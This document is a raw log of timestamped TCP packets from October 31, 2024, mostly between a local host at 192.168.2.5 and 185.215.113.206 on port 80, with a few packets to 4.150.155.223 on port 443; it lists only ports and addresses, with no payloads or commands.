Oct 31, 2024 03:04:31.071414948 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071414948 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071425915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071436882 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071449995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071450949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071460962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071470022 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071479082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071485996 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071491003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071508884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071532965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071917057 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071933985 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071945906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071980000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.071985960 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.071993113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072004080 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072010994 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072062969 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.072077036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072088957 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072099924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072110891 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.072112083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072125912 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.072133064 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.072160006 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.089874983 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.089904070 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.090014935 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.090259075 CET	49862	443	192.168.2.5	4.150.155.223
Oct 31, 2024 03:04:31.090271950 CET	443	49862	4.150.155.223	192.168.2.5
Oct 31, 2024 03:04:31.136883020 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.136914015 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.136925936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.136956930 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.136976004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.136979103 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.136991024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.137013912 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.137037992 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.182615995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.182706118 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228574038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228624105 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228632927 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228672981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228682995 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228686094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228693962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228713036 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228729963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228738070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228748083 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228749990 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228773117 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228779078 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228781939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228801966 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228810072 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228820086 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228822947 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228833914 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228846073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228859901 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228869915 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228874922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228878975 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.228894949 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.228919983 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229037046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229048967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229065895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229077101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229085922 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229115963 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229125023 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229161024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229161024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229171991 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229182005 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229221106 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229224920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229235888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229283094 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229351997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229362965 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229373932 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229397058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229408979 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229450941 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229463100 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229494095 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229581118 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229598999 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229610920 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229621887 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229638100 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229650021 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229736090 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229748011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229757071 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229774952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229805946 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229875088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229892969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229906082 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229916096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229919910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229928970 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229938030 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229967117 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.229975939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.229985952 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230015039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230021954 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.230026960 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230036974 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230056047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230061054 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.230067968 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.230077982 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.230106115 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.233675003 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233714104 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233730078 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233748913 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.233777046 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.233836889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233848095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233881950 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233894110 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233906031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233916998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233927965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.233928919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.233943939 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.233972073 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234013081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234025002 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234035969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234055042 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234056950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234069109 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234076023 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234102011 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234221935 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234234095 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234244108 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234263897 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234282017 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234319925 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234330893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234340906 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234352112 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234385967 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234458923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234471083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234482050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234498024 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234508038 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234519958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234524965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234541893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234549999 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234559059 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234569073 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234591007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234627962 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234724998 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234741926 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234755039 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234796047 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234822035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234833956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234844923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234870911 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234883070 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234883070 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234894037 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234905958 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234925032 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234944105 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.234982967 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.234994888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235006094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235019922 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235030890 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.235055923 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.235063076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235074043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235085011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235096931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.235109091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.235121965 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.235150099 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236258984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236289024 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236301899 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236315012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236342907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236363888 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236377954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236401081 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236412048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236416101 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236418962 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236429930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236443996 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.236454964 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236474037 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.236500978 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.253968000 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.253990889 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.254003048 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.254036903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.254057884 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.254118919 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.254131079 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.254172087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.299310923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.299407959 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.299411058 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.299462080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.348941088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.348953009 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.348963022 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.348974943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.348980904 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.348993063 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349004030 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349014997 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349025011 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349026918 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349040031 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349051952 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349054098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349060059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349092007 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349116087 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349267006 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349277973 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349297047 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349306107 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349314928 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349325895 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349337101 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349339008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349339008 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349348068 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349359035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349359989 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349370956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349379063 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349381924 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349394083 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349405050 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349406004 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349416018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349425077 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349428892 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349440098 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349451065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349452019 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349462986 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349474907 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349474907 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349486113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349498034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349497080 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349509954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349519968 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349523067 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349550009 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349564075 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349775076 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349786043 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349797010 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349808931 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349821091 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349858046 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349868059 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349888086 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349904060 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349915028 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349915981 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349927902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349929094 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349941969 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349952936 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349962950 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349963903 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.349965096 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349977016 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.349987984 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350001097 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350013018 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350018978 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350024939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350038052 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350044012 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350048065 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350061893 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350070953 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350079060 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350087881 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350115061 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350294113 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350306034 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350317955 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350330114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350342035 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350353956 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350354910 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350364923 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350375891 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350387096 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350406885 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350424051 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350431919 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350435972 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350446939 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350459099 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350470066 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350481987 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350482941 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350492954 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350505114 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350511074 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350521088 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350524902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350524902 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350532055 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350544930 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350553036 CET	49823	80	192.168.2.5	185.215.113.206
Oct 31, 2024 03:04:31.350554943 CET	80	49823	185.215.113.206	192.168.2.5
Oct 31, 2024 03:04:31.350584984 CET	49823	80	192.168.2.5	185.215.113.206
